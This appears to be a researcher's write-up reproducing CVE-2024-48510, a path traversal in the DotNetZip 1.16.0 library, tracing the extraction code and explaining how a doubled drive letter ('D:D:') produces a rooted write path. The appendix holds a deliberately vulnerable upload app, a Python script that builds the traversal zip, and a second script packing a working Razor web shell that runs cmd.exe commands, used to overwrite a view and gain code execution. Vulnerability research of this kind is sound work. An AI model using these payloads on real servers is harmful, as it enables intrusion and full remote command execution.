[Reproduce] CVE-2024-48510 - DotNetZip: Path Traversal
Table of Contents
1. Overall #
The vulnerability lies in the DotNetZip library version 1.16.0 - which is used to handle ZIP files.
CVE-2024-48510 is a path traversal vulnerability that allows attackers to write files to directories they are not permitted to access and execute arbitrary code.
The severity level is Critical with a CVSS 3.1 score of 9.8, but the number of PoCs or blogs discussing it is relatively rare or in another words, there is none of it at the time I did the research.
2. Root Cause Analysis #
2.1 Patch diffing #
Normally, to research a CVE, people usually compare the vulnerable and patched versions, but this library has been deprecated and users have switched to using other libraries. Therefore, I can only analyze this CVE by starting from the vulnerable function based on the NIST description:

In order to analyze, I create a .NET MVC web application that allows users to upload zip files for sharing.
To use this library, you can go to the NuGet Package Manager and search for dotnetzip 1.16.0 and install it.
This is the web interface:
2.2. Flow analysis #
Coming to the debugging part, we set a breakpoint in the Extract function - where NIST described the vulnerability:

I created a zip file to observe how the library processes it:

After sending the file, the program stops here to process it:

Still haven’t seen anything important, let’s continue stepping into:
See that this function has called to InternalExtractToBaseDir:

Here, from 1232-->1257 , it checks params if they exist or null; reset status; set flags and variables; check extraction method and encryption algorithm of the zip file is supported or not.
—> It seems to be preparing for the upcoming extraction.
—> The function IsDoneWithOutputToBaseDir at the end of the image appears to be the target we are aiming for.
Analysis of the IsDoneWithOutputToBaseDir function:

Here, it doesnt call any functions but only process the path.
At line 1675, it will check if baseDir is null or not.
To line 1679, it takes our FileName (please keep in mind that this variable is an untrusted data , we can manipulate it 100%), change \ to / and then assign it to text :

According to the comment of the author on Github, doing this will avoid writing files to the root volume of Windows, and you can view the link here.
To line 1680-1682, it removes the drive letter if it exists (C:/folder1/file.txt —> /folder1/file.txt):

And delete 1 / to turn it into relative path( /folder1/file.txt —>folder1/file.txt) at part 1684-1686:

We have text after processing a little bit, please take some attention here, and we will call this Detail A .
Next, from 1689-1690, it combines baseDir with text to produce outFileName , I write it down here for us to analyze:
outFileName = (_container.ZipFile.FlattenFoldersOnExtract ?
Path.Combine(baseDir, text.Contains("/") ? Path.GetFileName(text) : text) :
Path.Combine(baseDir, text));
outFileName = outFileName.Replace('/', Path.DirectorySeparatorChar);
In detail, it checks if FlattenFoldersOnExtract true or not, if it is true then it will check text:
- Check whether
textcontains/(folder path) or not. If it does -> only take the filename (Path.GetFileName(text)) - If it does not contain
/-> keep the originaltext - If
FlattenFoldersOnExtractis false, then combine them directly. - Afterwards, it replaces Unix-style path separators (
/) with OS-specific ones.
outFilename after line 1689:

outFilename after line 1690:

Path.Combine function is used at line 1689 to combine baseDir and Filename to get the path where the file will be extracted, as I just mentioned, and it will return the result of the CombineInternal function as follows:

Step into CombineInternal function:

We can see CombineInternal use IsPathRooted with second parameter (which is text) to check if it is root path or not, if yes then it will return the path of the second parameter instead of combining both parameters. Here you continue to pay attention to this detail, I will call it Detail B .
—> So we have gone through the processing flow of the Extract function !
—> From fileName passed in is D:/CBJS/dotnet_resources/dotnetzip1160/payload/test.txt , we have outFileName as D:\\CBJS\\dotnet_resources\\path_traversal\\dotnetzip1160\\wwwroot\\extracted\\CBJS\\dotnet_resources\\dotnetzip1160\\payload\\test.txt
From 2 above details, we proceed to connect them together to see the vulnerability:
At
Detail A, it removes drive letter if it exists (if there is a:at index 1, it removes the first two characters). So what happens if I place two drive letters next to each other, and when removing the first character, I still have the second character left? For example, if the entry name isD:D:/..., it will only remove the firstD:and leaveD:/...:
At this point,
Detail Bappears, which is the root path mentioned above. If a root path exists—> The file write address will be anywhere we want:
—> It is the path traversal vulnerability we are looking for.
3. PoC Video #
Here is a video that records how I write a text file out of /extracted folder:
Note: because it's just a demo, I already knew the absolute path in advance. This path could be `C:\inetpub\wwwroot` for II.
To elevate the attack level to Remote Code Execution, I utilized the arbitrary file writing feature to upload a shell .cshtml and overwrite the existing endpoint. Since the Razor shell requires a controller to be rendered, I chose to overwrite the existing file /Home/Privacy for the demo.
Note: this is just a demo, in reality it would be slightly different and require us to fuzz the path or combine it with another type of vulnerability, or upload a new controller file directly to the server.
Additionally, when using the Extract function, I used the feature that allows silent overwriting of existing files: `ExtractExistingFileAction.OverwriteSilently`
4. Appendix #
1. Web app Source code: #
Controller/ZipController.cs:using Ionic.Zip; using Microsoft.AspNetCore.Mvc; using System.IO; using System.Linq; namespace cve202448510.Controllers { [Route("/")] [ApiController] public class ZipController : Controller { private readonly IWebHostEnvironment _env; public ZipController(IWebHostEnvironment env) { _env = env; } [HttpGet] public IActionResult Index() { return View(); } [HttpPost("extract")] public IActionResult ExtractZip(IFormFile file) { if (file != null && file.FileName.EndsWith(".zip")) { try { string extractFolder = Path.Combine(_env.WebRootPath, "extracted"); if (!Directory.Exists(extractFolder)) { Directory.CreateDirectory(extractFolder); } using (var zip = ZipFile.Read(file.OpenReadStream())) { foreach (var entry in zip.Entries) { entry.Extract(extractFolder, ExtractExistingFileAction.OverwriteSilently); } } return RedirectToAction("Gallery"); } catch (Exception ex) { return BadRequest($"Error extracting ZIP: {ex.Message}"); } } return BadRequest("Please upload a valid ZIP file"); } [HttpGet("gallery")] public IActionResult Gallery() { string extractFolder = Path.Combine(_env.WebRootPath, "extracted"); var files = Directory.Exists(extractFolder) ? Directory.GetFiles(extractFolder, "*.*") .Select(Path.GetFileName) .ToList() : new List<string>(); return View(files); } } }Views/Zip/Gallery.cshtml:@model List<string> <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Gallery - CVE-2024-48510</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: Arial, sans-serif; background-color: #1E1E2F; color: #FFFFFF; } .container { max-width: 1200px; margin: 0 auto; padding: 20px; } h1 { font-size: 2rem; margin-bottom: 0.5rem; } p.subtitle { color: #00FF99; margin-bottom: 2rem; } .file-list { display: flex; flex-direction: column; gap: 10px; } .file-item { background-color: #2A2A3D; border-radius: 8px; padding: 10px; display: flex; justify-content: space-between; align-items: center; } .file-item a { color: #00FF99; text-decoration: none; } .file-item a:hover { text-decoration: underline; } .download-btn { background-color: #665CFF; color: #FFF; border: none; padding: 5px 10px; border-radius: 4px; text-decoration: none; font-size: 0.9rem; } .download-btn:hover { background-color: #5046CC; } a.back-link { color: #00FF99; text-decoration: none; font-size: 1.2rem; } </style> </head> <body> <div class="container"> <h1>Extracted Files Gallery</h1> <p class="subtitle">Files extracted from uploaded ZIPs</p> <div class="file-list"> @if (!Model.Any()) { <p>No files available.</p> } else { @foreach (var file in Model) { <div class="file-item"> <span>@file</span> <a href="/extracted/@file" class="download-btn" download>Download</a> </div> } } </div> <p><a href="/" class="back-link">← Back to Upload</a></p> </div> </body> </html>Views/Zip/Index.cshtml:<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <title>Upload ZIP - CVE-2024-48510</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; } body { font-family: Arial, sans-serif; background-color: #1E1E2F; color: #FFFFFF; padding: 20px; } .container { max-width: 1200px; margin: 0 auto; text-align: center; } h1 { font-size: 2rem; margin-bottom: 0.5rem; } p.subtitle { color: #00FF99; margin-bottom: 2rem; } input[type="file"] { margin: 20px 0; } button { background-color: #665CFF; color: #FFF; border: none; padding: 10px 20px; border-radius: 4px; cursor: pointer; } button:hover { background-color: #5046CC; } a { color: #00FF99; text-decoration: none; font-size: 1.2rem; } </style> </head> <body> <div class="container"> <h1>Upload ZIP File</h1> <p class="subtitle">Upload a ZIP file to extract (CVE-2024-48510 Demo)</p> <form method="post" enctype="multipart/form-data" asp-action="ExtractZip"> <input type="file" name="file" accept=".zip" /> <button type="submit">Upload & Extract</button> </form> <p><a href="/gallery">View Gallery →</a></p> </div> </body> </html>Program.cs:using Microsoft.AspNetCore.Mvc; var builder = WebApplication.CreateBuilder(args); // Add services to the container. builder.Services.AddControllersWithViews() .AddRazorRuntimeCompilation(); builder.WebHost.UseUrls("http://localhost:5101"); var app = builder.Build(); if (!app.Environment.IsDevelopment()) { app.UseExceptionHandler("/Zip/Error"); app.UseHsts(); } app.UseStaticFiles(); // phục vụ file từ wwwroot app.UseRouting(); app.MapControllerRoute( name: "default", pattern: "{controller=Zip}/{action=Index}/{id?}"); app.Run();
2. Script to create the zip file: #
PoC_zip.pyfrom zipfile import ZipFile, ZipInfo import os with ZipFile("PoC.zip", "w") as zipf: info = ZipInfo("D:D:\\CBJS\\dotnet_resources\\path_traversal\\dotnetzip1160\\wwwroot\\PoC.txt") zipf.writestr(info, "This is a PoC file!")
3. Script to create the zip file containing the shell #
I have slightly modified it and the source is available here:
RCE.py:from zipfile import ZipFile, ZipInfo import os shell_aspx_content = r""" @using System @using System.Diagnostics @{ ViewData["Title"] = "MVC Sh3ll Windows"; var result = ""; var cmd = Context.Request.Query["cmd"]; if (!String.IsNullOrEmpty(cmd)){ result = Bash(cmd); } if (String.IsNullOrEmpty(result)){ result = "Invalid command or something didn't work"; } } @functions{ public static string Bash (string cmd) { var result = ""; var escapedArgs = cmd.Replace("\"", "\\\""); var process = new Process() { StartInfo = new ProcessStartInfo { FileName = "cmd.exe", Arguments = $"/C \"{escapedArgs}\"", RedirectStandardOutput = true, UseShellExecute = false, CreateNoWindow = true, } }; process.Start(); result = process.StandardOutput.ReadToEnd(); process.WaitForExit(); return result; } } <script src="https://code.jquery.com/jquery-3.2.1.min.js" integrity="sha256-hwg4gsxgFZhOsEEamdOYGBf13FyQuiTwlAQgxVSNgt4=" crossorigin="anonymous"></script> <script> $(function() { var cmdResult = $("#cmdResult"); console.log(cmdResult); if (cmdResult.text() === "Invalid command or something didn't work"){ console.log("should change text"); cmdResult.css("color", "red"); } var term = $("#console"); $("#cmd").focus(); term.scrollTop(term.prop("scrollHeight")); $.urlParam = function(name){ var results = new RegExp('[\?&]' + name + '=([^&#]*)').exec(window.location.href); if (results==null){ return null; } else{ return decodeURI(results[1]) || 0; } } function executeCmd(){ var cmd = encodeURIComponent($("#cmd").val()); var currentCmd = $.urlParam('cmd'); console.log("should replace: " + currentCmd + " WITH: " + cmd); var currentUrl = location.href; var paramDelimeter = ""; if (currentUrl.indexOf("?") < 0){ paramDelimeter = "?"; } else { paramDelimeter = "&"; } if (currentUrl.indexOf("cmd=") < 0){ currentUrl = location.href + paramDelimeter + "cmd="; } var newUrl = currentUrl.replace(/cmd=.*/, "cmd="+cmd); window.location.href = newUrl; //console.log(newUrl); } $("#submitCommand").click(function(){ executeCmd(); }) $("#cmd").keypress(function (e) { if (e.which == 13) { executeCmd(); return false; } }); $("#cmd").on("change paste keyup", function(theVal){ var cmd = $("#cmd").val(); $("#cmdInput").text(cmd); }); }); </script> <h3>@ViewData["Title"].</h3> <h4>@ViewData["Message"]</h4> <h4>Output for:> <span style="font-family: monospace; font-weight: normal;">@cmd</span></h4> <pre id="console" style="color: #00ff00;background-color: #141414;max-height: 606px;"> C#:>@cmd <span id="cmdResult">@result</span> C#:><span id="cmdInput"></span> </pre> <br /> <p>Enter your command below:</p> <span style="display: inline-flex !important;"> <input id="cmd" class="form-control" type="text" style="width: 400px;" /> <button id="submitCommand" class="btn btn-primary">Send!</button> </span> """ with ZipFile("rce.zip", "w") as zipf: info = ZipInfo("D:D:\\CBJS\\dotnet_resources\\path_traversal\\dotnetzip1160\\Views\\Home\\Privacy.cshtml") zipf.writestr(info, shell_aspx_content) print("Created rce.zip successfully!")